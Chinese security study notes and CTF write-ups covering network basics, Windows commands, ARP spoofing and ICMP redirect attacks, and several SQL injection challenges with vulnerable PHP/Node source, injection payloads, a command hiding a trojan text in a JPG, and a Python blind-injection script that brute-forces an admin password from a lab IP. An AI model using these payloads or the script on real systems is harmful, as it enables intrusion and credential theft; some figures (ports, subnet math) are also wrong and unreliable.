赞
踩
第一阶段:网络通信与协议安全
第二阶段:系统应用与安全开发
第三阶段:渗透测试与系统入侵
第四阶段:安全防御和运营保障
NAT:虚拟机和物理机的真实网卡形成网络环境。
网络地址转换;
虚拟操作系统将数据包发送给VMware中的虚拟路由器,虚拟路由器将数据包发送给真是网卡,进而发送给因特网;
NAT网络模式下,虚拟机可以访问物联网(虚拟路由器发送给真实网卡),也可以与物理机通信(虚拟路由器发送给虚拟网卡);
实验(虚拟机和物理机互相通信、虚拟机与外网通信):关闭虚拟机和物理机的防火墙&&将所有虚拟机都设置为NAT模式。
仅主机模式:虚拟机和物理机的虚拟网卡形成网络环境。
虚拟机之间可以互相通信、也可以和物理机相互通信;
虚拟机无法访问外网;
实验
桥接模式:虚拟机直接使用物理机上的任何一张网卡(真实网卡、虚拟网卡),默认使用真实网卡。
命令结构
命令 [参数] 内容
路径
cd:进入某个文件夹
演示
#进入C盘中Windows目录中的System目录
cd C://Windows//System
#进入上一级目录
cd ../
#进入当前目录下的System32目录
cd ./
dir:查看文件夹中的所有内容
演示
#查看当前文件夹中的内容
dir
#查看指定文件夹中的内容
dir D:\Download
#查看当前文件夹中的所有内容(包括隐藏的)
dir /a
md:创建文件夹
rd:删除文件夹
xcopy:复制文件/文件夹到指定路径
演示
#将D盘中的web目录复制到C盘
xcopy D:\web C:\
copy:复制文件到指定路径
演示
#将当前目录中的1.txt移动到D盘中的test文件夹中
copy ./1.txt D:\test\
#将b.txt中的内容追加到a.txt中
copy a.txt+b.txt c.txt
#将muma.txt中的内容追加到tupian.jpg中(/b表示二进制文件)
copy /b tupian.jpg+/b muma.txt image.jpg
move:将文件移动到指定文件夹中
rename:重命名文件
del:删除文件
type:查看文本文件内容
findstr:查找字符串
演示
#将ipconfig的内容写入到当前目录中的ip.txt
ipconfig > ./ip.txt
#查找IPv4所在的行
findstr "IPv4" ./ip.txt
管道:将前面命令的结果作为后面命令的对象
演示
ipconfig | findstr "IPv4"\\
#查看本地开放的端口
netstat -anop | findstr /i "listening"
重定向:将命令结果写入到文件中
演示
#将本地端口信息写入到result.txt中
netstat -anop > ./result.txt
#将ipconfig /all的结果追加到result.txt中
ipconfig /all >> ./result.txt
ipconfig:查看网络适配器;
netsh:配置网络适配器,通过命令配置网络连接;
ping:检测是否能与目标通信;发送的是ICMP报文(ping不同,不代表不能访问网站);
nslookup:请求DNS服务器解析域名;
tracert:路由跟踪,监测与目标通信,经过了哪些路由器;
route:查看路由器信息;
netstat:查看使用tcp、udp、icmp协议通信的进程;
telnet:远程管理操作系统,用于连接telnet服务器,常用来探测目标开放的端口;
arp:查看arp缓存表(arp缓存表记录IP地址对应的mac地址,防止被arp欺骗)
一台计算机拥有多个用户,不同用户权限不同;同时,为了区分账户,操作系统为每个账户设置了一串编码——sid(类似于身份证号);
创建影子账户
https://blog.csdn.net/baidu_38844729/article/details/115708745
内置账户
用户组:方便批量管理用户的权限
创建组
将用户添加到某个组
常用内置组
文件共享服务采用SMB协议进行网络文件共享,对应TCP/445,windows默认开启该服务;
概述:防火墙是用来控制数据流量进出的软件/设备,是网络传输中的拦路虎;
产品分类
入站规则:控制数据流量的进入(默认为拒绝状态);出战规则:控制数据流量的出去;
防火墙原理:基于数据包的五元组(源IP、源端口、协议、目标IP、目标端口)对数据包进行过滤,识别的是IP、端口和协议;
访问方式/流量分类
实验:准备虚拟机Win7(防火墙开启)、虚拟机Win10(防火墙开启)
win10可以ping通win7;
win7共享一个文件夹,但是win10无法访问;
win10可以telnet win7;
win10无法远程桌面到win7;
应用层:应用层的所有协议都基于传输层协议的某个端口(端口范围:tcp(065535)、udp(065535),0~1023为公认端口);
常用端口及协议大全:https://www.lddgo.net/network/port
ftp:tcp/21
ssh:tcp/22
telnet:tcp/23
dns:tcp/53、udp/51
http:tcp/80
https:tcp/443
mysql:tcp/3306
rdp:tcp/3389
传输层:TCP传输控制协议(数据更加安全可靠,不会丢失)、UDP用户数据协议(传输速率更加高效);
网络层:ARP(地址解析协议)、RARP(逆地址解析协议)、ICMP(网际控制报文协议)、IGMP(网际组管理协议);
数据链路层:Ethernet协议;
物理层
TCP/IP五层协议栈中,各层数据的结构;
封装:对原始数据进行格式转换,并逐层加上特殊内容;
解封装:将格式化后的结果转为原始数据,并逐层丢掉特殊内容;
IP地址与MAC地址的关系:IP地址类似于地址名(例如,北京市朝阳区AA小区BB栋CC层DD号),MAC地址类似于经纬度(北纬33°28′,东经44°32′);网络通信中要知道自己要去哪里(IP地址),并且怎么去(根据MAC地址);
IPv4有32为二进制数组成,为了方便表示,每八位划分为一组,并用点分十进制表示;
#IP地址:11000000.10101000.01111000.00100000
#表示为:192.168.120.32
子网掩码:确定IP地址中的网络位和主机位,1对应的位置位网络位,0对应的位置位主机位;
#192.168.120.32/16:192.168.120.32的前16位表示网段
IP地址:192.168.120.32 11000000.10101000.01111000.00100000
子网掩码:255.255.0.0 11111111.11111111.00000000.00000000
网段:192.168.0.0
#192.168.1.1/10:192.168.1.1的前20位表示网段
IP地址:192.168.1.1 11000000.10101000.00000001.00000001
子网掩码:255.255.240.0 11111111.11111111.11110000.00000000
网段:192.168.11110000.00000000
Ethernet协议属于二层协议,用于在数据中封装MAC地址;
二层中的数据叫做帧或者报文,二层封装的帧有两种结构;EthernetII帧结构和802.3帧结构。
EthernetII 帧结构
802.3帧结构
ARP(Address Resolution Protocol)地址解析协议:找出IP地址对应的MAC地址;同一网络下通信,需要使用ARP协议获取目标的MAC地址,不同网络下通信,需要使用ARP协议获取网关的MAC地址;
ARP协议属于网络层,工作在数据链路层,封装在数据链路层的上层(2.5层,不是网络层);
ARP协议原理
ARP利用(局域网攻击,ARP报文无法跨越路由器;属于中间人攻击,):我是你要找的目标(将自己伪装成目标IP,将给出自己网关的真实MAC地址),请将消息发送给我。
ARP攻击:攻击机向靶机发送的ARP应答报文中使用的是虚假的MAC地址,导致靶机无法通信;
ARP欺骗:攻击机向靶机发送的ARP应答报文中使用的是攻击者的MAC地址,导致靶机将信息发送的信息被窃取;
无感利用:攻击机开启IP转发,靶机将流量发送给攻击机,攻击机再将流量转发出去,从此充当中间人窃听通信,并且靶机不易发现;
ARP攻击研判与防御(攻击者一般伪装成为网关)
研判:路由跟踪(与外网通信,第一条路有一定是网关,如果被攻击了,就不是或者根本无法跟踪)、查看ARP缓存表中记录的MAC地址是否正确;
防御:下载安全软件并开启局域网防御(原理:以极快的速度发送ARP广播报文,赶在被欺骗之前获取到正确的MAC地址)、以极快的速度清理ARP缓存表(下一次通信之前一定会再次获取MAC地址,赶在被欺骗之前获取到正确的MAC地址);
ICMP(Internet Contorl Message Protocol)网络控制报文协议:在主机和路由器之间传递的控制报文(例如,网络是否可达),是一种用于直接和路由器交互的报文,封装在网络层的上层,但属于三层协议;
ICMP报文结构
type:ICMP类型
类型0:ICMP应答报文
类型3:目标不可达
类型5:ICMP重定向
类型8:ICMP请求报文
类型11:超时报文
code
checksum
Identifier(BE)
Identifier(LE)
Sequence Number(BE)
Sequence Number(LE)
Data:报文携带的数据,此处存在安全风险
ICMP重定向:主机向访问外网,向网关发起请求时,该路由器没有对应的外网地址,无法进行路由,但是它知道有另一个路由器可以到达,此时该网关回想主机发送一个ICMP重定向报文,要求主机将网关改为另一个路由器的地址;
ICMP重定向攻击:攻击机告诉正在通信的靶机,我是你当前访问的网关(冒充真实的网关IP,但MAC地址为填充地址),并且不能使用我,请将网关改为我指定的路由器;
where条件表达式
# 对于单条件表达式:where假 <==> 结果集为空,where真 <==> 全部数据,where正确的字段 <==> 字段的内容
# 对于多条件表达式:and <==> 取两张表的公共部分,or <==> 取两张表的组合部分(去重)
1. web应用往往会把客户端的一些参数放在where语句中作为条件进行查询,理解了上述原理之后我们可以更加灵活地构造payload,可以控制结果集中有没有数据,以及是什么数据,而不再死记硬背套模板;
2. 控制结果集中有没有数据: 以sqli-labs-less11为例,即使不知道账号密码,只要结果集中有数据就可以登陆成功,所以有种方式叫做万能密码;
3. 控制结果集中是什么数据:以sqli-labs-less11为例,登录成功之后还会把账号密码显示出来,我们可以控制结果集中的username字段和password字段中是我们想要的数据,例如数据库的版本、用户等等,这就是联合注入。
4. 当and和or被过滤的时候,^ 可以代替他俩,相当于单条件where表达式,这种方式叫做异或注入
这道题目将参数直接放到了select后面,对选手猜解后端SQL的能力要求极高;
输入任意字符串,发现没有反应,紧接着进行fuzz,发现过滤了一些关键字,在尝试常规注入发现仍然没有任何反应???
回到最初,在尝试输入字符串,发现任何字符串都不起作用,但是如果是数字就会返回结果集中的内容,并且值为1;
为什么查询之后结果都是1,明明没有输入1呀,只有一种可能——这个1不是输入的,而是一个运算结果,即布尔运算的结果;
所以,输入的内容会被进行布尔运算,而且结果集中有这个结果,说明这个布尔运算是直接被放在了select后面,即select 输入的内容与xxx布尔运算 from aaa;
这个布尔表达式到底是什么(and 还是 or???)、xxx又是什么:xxx的值无非两种类型——字符串/数字,如果是数字,那么表达式就应该为”输入的内容 and 数字“;如果是字符串,那么表达式就应该为”输入的内容 or 字符串“;
这是一道题目,xxx肯定是和flag有关的(就是flag的字段名),flag绝大部分情况下都是字符串,所以后端的SQL极大可能是”select 输入的内容 or flag对应的字段名 from 一张有flag的表“;
如何注入/如何获取flag:核心思想就是让输入的内容逃出布尔表达式
*,1 :select * , 1 or flag对应的字段名 from 一张有flag的表
如果后端语句中的逻辑运算符不是or,而是||(毕竟人家过滤了and和or关键字,放行&&和||,也算提示吧),配合堆叠注入,直接将||的功能变成字符串拼接,从而直接布尔表达式变成了一个字符串(select ‘用户输入的内容字段名’ from 一张有flag的表):1;set sql_mode=PIPES_AS_CONCAT;select 1
源码
<?php
$user = NULL;
$is_admin = 0;
if (isset($_GET["source"])) {
highlight_file(__FILE__);
exit;
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
$username = $_POST["username"];
$password = $_POST["password"];
$db = new PDO("sqlite:../database.db");
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
try {
$db->exec("CREATE TABLE IF NOT EXISTS users (username TEXT UNIQUE, password TEXT, is_admin BOOL);");
$q = "username, is_admin FROM users WHERE username = '$username' AND password = '$password'";
if (preg_match("/SELECT/i", $q)) {
throw new Exception("only select is a forbidden word");
}
$rows = $db->query("SELECT " . $q, PDO::FETCH_ASSOC);
foreach ($rows as $row) {
$user = $row["username"];
$is_admin = $row["is_admin"];
}
}
catch (Exception $e) {
exit("EXCEPTION!");
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Just SQLi</title>
</head>
<body>
<h1>Just SQLi</h1>
<div><a href="?source=1">view source</a>
<?php if ($user) { ?>
<div>Nice Login <?= $user ?></div>
<?php if ($is_admin) { ?>
<div>And Nice to Get the Admin Permission!</div>
<div> <?= include("../flag.php"); ?></div>
<?php } ?>
<?php } ?>
<form action="" method="POST">
<div>username: <input type="text" name="username" required></div>
<div>password: <input type="text" name="password" required></div>
<div>
<input type="submit" value="Login">
</div>
</form>
</body>
</html>
代码审计
手法:联合注入union values(users表是空的,结果集中is_admin字段肯定是没有数据的,因此需要构造一个有数据的结果集)
源码
<?php
error_reporting(0);
error_log(0);
require_once("flag.php");
function is_trying_to_hak_me($str)
{
$blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"];
if (strpos($str, "'") !== false) {
if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) {
return true;
}
}
foreach ($blacklist as $token) {
if (strpos($str, $token) !== false) return true;
}
return false;
}
if (isset($_GET["pls_help"])) {
highlight_file(__FILE__);
exit;
}
if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) {
$user = $_POST["user"];
$pass = $_POST["pass"];
if (is_trying_to_hak_me($user)) {
die("why u bully me");
}
$db = new SQLite3("/var/db.sqlite");
$result = $db->query("SELECT * FROM users WHERE username='$user'");
if ($result === false) die("pls dont break me");
else $result = $result->fetchArray();
if ($result) {
$split = explode('$', $result["password"]);
$password_hash = $split[0];
$salt = $split[1];
if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
else $err = "Wrong password";
}
else $err = "No such user";
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Hack.INI 9th - SQLi</title>
</head>
<body>
<?php if (isset($logged_in) && $logged_in): ?>
<p>Welcome back admin! Have a flag: <?=htmlspecialchars($flag);?><p>
<?php else: ?>
<form method="post">
<input type="text" placeholder="Username" name="user" required>
<input type="password" placeholder="Password" name="pass" required>
<button type="submit">Login</button>
<br><br>
<?php if (isset($err)) echo $err; ?>
</form>
<?php endif; ?>
<!-- <a href="/?pls_help">get some help</a> -->
</body>
</html>
代码审计
手法:联合查询(可以构造结果集中的password字段)、将任意字符串进行sha256加密、将字符串随意分成两部分——第一部分作为密码、第二部分与密文通过$拼接在一起;
源码
const express = require('express');
const app = express();
const sqlite3 = require('sqlite3');
const uuid = require('uuid');
const fs = require('fs');
const { parse } = require('csv-parse');
const flag = fs.readFileSync('./flag.txt', { encoding: 'utf8' }).trim();
app.use(express.urlencoded({ extended: true }));
const db = new sqlite3.Database(':memory:');
db.serialize(() => {
db.run('CREATE TABLE jokes (id INTEGER PRIMARY KEY, joke TEXT)');
const stmt = db.prepare('INSERT INTO jokes (id, joke) VALUES (?, ?)');
// jokes from https://github.com/amoudgl/short-jokes-dataset/blob/master/data/reddit-cleanjokes.csv
fs.createReadStream('./reddit-cleanjokes.csv').pipe(parse({ delimiter: ',' })).on('data', (row) => {
stmt.run(row[0], row[1]);
}).on('end', () => {
stmt.finalize();
});
const flagTable = `flag_${uuid.v4().replace(/-/g, '_')}`;
db.run(`CREATE TABLE IF NOT EXISTS ${flagTable} (flag TEXT)`);
db.run(`INSERT INTO ${flagTable} (flag) VALUES ('${flag}')`);
});
app.get('/', (req, res) => {
res.sendFile(__dirname + '/index.html');
});
app.get('/search', (req, res) => {
const { name } = req.query;
if (!name) {
return res.status(400).send({ err: 'Bad request' });
}
if (name.length > 6) {
return res.status(400).send({ err: 'Bad request' });
}
db.all(`SELECT * FROM jokes WHERE joke LIKE '%${name}%'`, (err, rows) => {
if (err) {
console.error(err.message);
return res.status(500).send('Internal server error');
}
return res.send(rows);
});
});
app.listen(3000, () => {
console.log('Server is running on port 3000');
});
代码审计
手法:联合查询(可以将结果集返回)、数组绕过长度限制(name[0]=xxxx,无论些什么name的长度都为1)
这道题目有问题,没办法通过数据库猜解表名(过滤了for关键字,information_schema不起作用),flag藏在admin表里面的password字段中;
提示信息:布尔盲注
看到登录框,尝试弱密码,用户名admin,密码admin,提示密码错误,证明有admin这个账户;在尝试一个不存在的用户,提示用户不存在,有正确结果返回一种页面,没有正确结果返回另一种界面,典型的布尔盲注;
寻找注入点:一般用户名字段会存在注入点(要将用户名和密码拿去数据库匹配,那么SQL语句的结构肯定为select name,pass from users where nmae=‘$name’),单引号闭合;
fuzz测试,过滤了一堆东西(包括但不限于空格、逗号、for关键字、等号等等);
开始盲注:payload ===> password=brankyeen&username=brankyeen’||这里的结果为真提示密码错误,结果为假提示账户不存在||‘1’<>'1#。注意,由于过滤了逗号和for,猜解flag的语句应该写成ascii(substr((查询语句)from(第几位)))<>ASCII码
脚本
"""
1. 题目有问题,没办法通过数据库获取admin表以及其字段;
2. flag在admin表里面的password字段中
"""
import requests
class Boolean_SQL:
url = "http://114.67.175.224:12658/index.php"
# 结果为true的页面
tresp = requests.post(url=url, data={"password": "abc", "username": "brankyeen'||1<>2||'1'<>'1"})
tresp.close()
# 结果为false的页面
fresp = requests.post(url=url, data={"password": "abc", "username": "brankyeen'||1<>1||'1'<>'1"})
fresp.close()
def get_name(self):
name = ""
# 逐位暴破
for j in range(1, 150):
for k in range(32, 128):
data = {"password": "abc",
"username": f"brankyeen'||ascii(substr((select(password)from(admin))from({j})))<>{k}||'1'<>'1"}
print(data)
resp = requests.post(url=self.url, data=data)
resp.close()
if resp.text == self.fresp.text:
name += chr(k)
print(name)
break
return name
if __name__ == '__main__':
a = Boolean_SQL()
print(a.get_name())
得到的是md5密文,解密之后位bugkuctf。
确定注入类型:题目明确说明是二次注入,不用启动靶机就预判会有登录页面(为什么???二次注入的考题都是这样);
先注册两个账号来确定注入点
注册账号1:名称——admin1,密码——admin1
填写admin1中的内容
注册账号2:名称——admin1’ or 1=1 #
登录之后,看到了admin1中的内容,说明后端用来查询内容的SQL结构应该是 select 内容 from 有内容的那张表 where username=‘当前账号的名称’;
所以,本题思路就是将payload放在账号名处
接下来就是联合注入的一些列手段了(需要注意的是,每个操作都要注册一个账号)
没有办法获取到flag表中的字段名,猜测只有一个字段,所以payload直接写成 -0’ union select * from flag#
flag:flag{f77064a2-2224-4e66-8f68-dee78ce5f5e1}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。